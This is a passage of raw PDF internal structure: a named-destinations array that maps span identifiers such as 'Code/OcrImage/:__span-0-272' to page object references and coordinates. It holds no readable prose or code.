0 ] (Code/OcrImage/:__span-0-272) [ 1645 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-273) [ 1645 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-274) [ 1645 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-275) [ 1645 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-276) [ 1645 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-277) [ 1645 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-278) [ 1645 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-279) [ 1645 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-28) [ 1633 0 R /XYZ 60.307257 305.624862 0 ] (Code/OcrImage/:__span-0-280) [ 1645 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-281) [ 1645 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-282) [ 1645 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-283) [ 1645 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-284) [ 1645 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-285) [ 1645 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-286) [ 1645 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-287) [ 1645 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-288) [ 1645 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-289) [ 1645 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-29) [ 1633 0 R /XYZ 60.307257 292.224510 0 ] (Code/OcrImage/:__span-0-290) [ 1645 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-291) [ 1645 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-292) [ 1645 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-293) [ 1645 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-294) [ 1645 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-295) [ 1645 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-296) [ 1645 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-297) [ 1645 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-298) [ 1645 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-299) [ 1645 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-3) [ 1633 0 R /XYZ 60.307257 680.834718 0 ] (Code/OcrImage/:__span-0-30) [ 1633 0 R /XYZ 60.307257 278.824158 0 ] (Code/OcrImage/:__span-0-300) [ 1645 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-301) [ 1645 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-302) [ 1645 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-303) [ 1645 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-304) [ 1645 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-305) [ 1645 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-306) [ 1645 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-307) [ 1645 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-308) [ 1645 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-309) [ 1645 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-31) [ 1633 0 R /XYZ 60.307257 265.423806 0 ] (Code/OcrImage/:__span-0-310) [ 1647 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-311) [ 1647 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-312) [ 1647 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-313) [ 1647 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-314) [ 1647 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-315) [ 1647 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-316) [ 1647 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-317) [ 1647 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-318) [ 1647 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-319) [ 1647 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-32) [ 1633 0 R /XYZ 60.307257 252.023454 0 ] (Code/OcrImage/:__span-0-320) [ 1647 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-321) [ 1647 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-322) [ 1647 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-323) [ 1647 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-324) [ 1647 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-325) [ 1647 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-326) [ 1647 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-327) [ 1647 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-328) [ 1647 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-329) [ 1647 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-33) [ 1633 0 R /XYZ 60.307257 238.623102 0 ] (Code/OcrImage/:__span-0-330) [ 1647 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-331) [ 1647 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-332) [ 1647 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-333) [ 1647 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-334) [ 1647 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-335) [ 1647 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-336) [ 1647 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-337) [ 1647 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-338) [ 1647 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-339) [ 1647 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-34) [ 1633 0 R /XYZ 60.307257 225.222750 0 ] (Code/OcrImage/:__span-0-340) [ 1647 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-341) [ 1647 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-342) [ 1647 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-343) [ 1647 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-344) [ 1647 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-345) [ 1647 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-346) [ 1647 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-347) [ 1647 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-348) [ 1647 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-349) [ 1647 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-35) [ 1633 0 R /XYZ 60.307257 211.822398 0 ] (Code/OcrImage/:__span-0-350) [ 1647 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-351) [ 1647 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-352) [ 1647 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-353) [ 1647 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-354) [ 1647 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-355) [ 1649 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-356) [ 1649 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-357) [ 1649 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-358) [ 1649 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-359) [ 1649 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-36) [ 1633 0 R /XYZ 60.307257 198.422046 0 ] (Code/OcrImage/:__span-0-360) [ 1649 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-361) [ 1649 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-362) [ 1649 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-363) [ 1649 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-364) [ 1649 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-365) [ 1649 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-366) [ 1649 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-367) [ 1649 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-368) [ 1649 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-369) [ 1649 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-37) [ 1633 0 R /XYZ 60.307257 185.021694 0 ] (Code/OcrImage/:__span-0-370) [ 1649 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-371) [ 1649 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-372) [ 1649 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-373) [ 1649 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-374) [ 1649 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-375) [ 1649 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-376) [ 1649 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-377) [ 1649 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-378) [ 1649 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-379) [ 1649 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-38) [ 1633 0 R /XYZ 60.307257 171.621342 0 ] (Code/OcrImage/:__span-0-380) [ 1649 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-381) [ 1649 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-382) [ 1649 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-383) [ 1649 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-384) [ 1649 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-385) [ 1649 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-386) [ 1649 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-387) [ 1649 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-388) [ 1649 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-389) [ 1649 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-39) [ 1633 0 R /XYZ 60.307257 158.220990 0 ] (Code/OcrImage/:__span-0-390) [ 1649 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-391) [ 1649 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-392) [ 1649 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-393) [ 1649 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-394) [ 1649 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-395) [ 1649 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-396) [ 1649 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-397) [ 1649 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-398) [ 1649 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-399) [ 1649 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-4) [ 1633 0 R /XYZ 60.307257 667.434366 0 ] (Code/OcrImage/:__span-0-40) [ 1633 0 R /XYZ 60.307257 144.820638 0 ] (Code/OcrImage/:__span-0-400) [ 1649 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-401) [ 1649 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-402) [ 1649 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-403) [ 1649 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-404) [ 1649 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-405) [ 1651 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-406) [ 1651 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-407) [ 1651 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-408) [ 1651 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-409) [ 1651 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-41) [ 1633 0 R /XYZ 60.307257 131.420286 0 ] (Code/OcrImage/:__span-0-410) [ 1651 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-411) [ 1651 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-412) [ 1651 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-413) [ 1651 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-414) [ 1651 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-415) [ 1651 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-416) [ 1651 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-417) [ 1651 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-418) [ 1651 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-419) [ 1651 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-42) [ 1633 0 R /XYZ 60.307257 118.019934 0 ] (Code/OcrImage/:__span-0-420) [ 1651 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-421) [ 1651 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-422) [ 1651 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-423) [ 1651 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-424) [ 1651 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-425) [ 1651 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-426) [ 1651 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-427) [ 1651 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-428) [ 1651 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-429) [ 1651 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-43) [ 1633 0 R /XYZ 60.307257 91.219230 0 ] (Code/OcrImage/:__span-0-430) [ 1651 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-431) [ 1651 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-432) [ 1651 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-433) [ 1651 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-434) [ 1651 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-435) [ 1651 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-436) [ 1651 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-437) [ 1651 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-438) [ 1651 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-439) [ 1651 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-44) [ 1635 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-440) [ 1651 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-441) [ 1651 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-442) [ 1651 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-443) [ 1651 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-444) [ 1651 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-445) [ 1651 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-446) [ 1651 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-447) [ 1651 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-448) [ 1651 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-449) [ 1651 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-45) [ 1635 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-450) [ 1651 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-451) [ 1653 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-452) [ 1653 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-453) [ 1653 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-454) [ 1653 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-455) [ 1653 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-456) [ 1653 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-457) [ 1653 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-458) [ 1653 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-459) [ 1653 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-46) [ 1635 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-460) [ 1653 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-461) [ 1653 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-462) [ 1653 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-463) [ 1653 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-464) [ 1653 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-465) [ 1653 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-466) [ 1653 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-467) [ 1653 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-468) [ 1653 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-469) [ 1653 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-47) [ 1635 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-470) [ 1653 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-471) [ 1653 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-472) [ 1653 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-473) [ 1653 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-474) [ 1653 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-475) [ 1653 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-476) [ 1653 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-477) [ 1653 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-478) [ 1653 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-479) [ 1653 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-48) [ 1635 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-480) [ 1653 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-481) [ 1653 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-482) [ 1653 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-483) [ 1653 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-484) [ 1653 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-485) [ 1653 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-486) [ 1653 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-487) [ 1653 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-488) [ 1653 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-489) [ 1653 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-49) [ 1635 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-490) [ 1653 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-491) [ 1653 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-492) [ 1653 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-493) [ 1653 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-494) [ 1653 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-495) [ 1653 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-496) [ 1655 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-497) [ 1655 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-498) [ 1655 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-499) [ 1655 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-5) [ 1633 0 R /XYZ 60.307257 654.034014 0 ] (Code/OcrImage/:__span-0-50) [ 1635 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-500) [ 1655 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-501) [ 1655 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-502) [ 1655 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-503) [ 1655 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-504) [ 1655 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-505) [ 1655 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-506) [ 1655 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-507) [ 1655 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-508) [ 1655 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-509) [ 1655 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-51) [ 1635 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-510) [ 1655 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-511) [ 1655 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-512) [ 1655 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-513) [ 1655 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-514) [ 1655 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-515) [ 1655 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-516) [ 1655 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-517) [ 1655 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-518) [ 1655 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-519) [ 1655 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-52) [ 1635 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-520) [ 1655 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-521) [ 1655 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-522) [ 1655 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-523) [ 1655 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-524) [ 1655 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-525) [ 1655 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-526) [ 1655 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-527) [ 1655 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-528) [ 1655 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-529) [ 1655 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-53) [ 1635 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-530) [ 1655 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-531) [ 1655 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-532) [ 1655 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-533) [ 1655 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-534) [ 1655 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-535) [ 1655 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-536) [ 1655 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-537) [ 1655 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-538) [ 1655 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-539) [ 1655 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-54) [ 1635 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-540) [ 1655 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-541) [ 1655 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-542) [ 1655 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-543) [ 1657 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-544) [ 1657 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-545) [ 1657 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-546) [ 1657 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-547) [ 1657 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-548) [ 1657 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-549) [ 1657 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-55) [ 1635 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-550) [ 1657 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-551) [ 1657 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-552) [ 1657 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-553) [ 1657 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-554) [ 1657 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-555) [ 1657 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-556) [ 1657 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-557) [ 1657 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-558) [ 1657 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-559) [ 1657 0 R /XYZ 60.307257 543.217638 0 ] 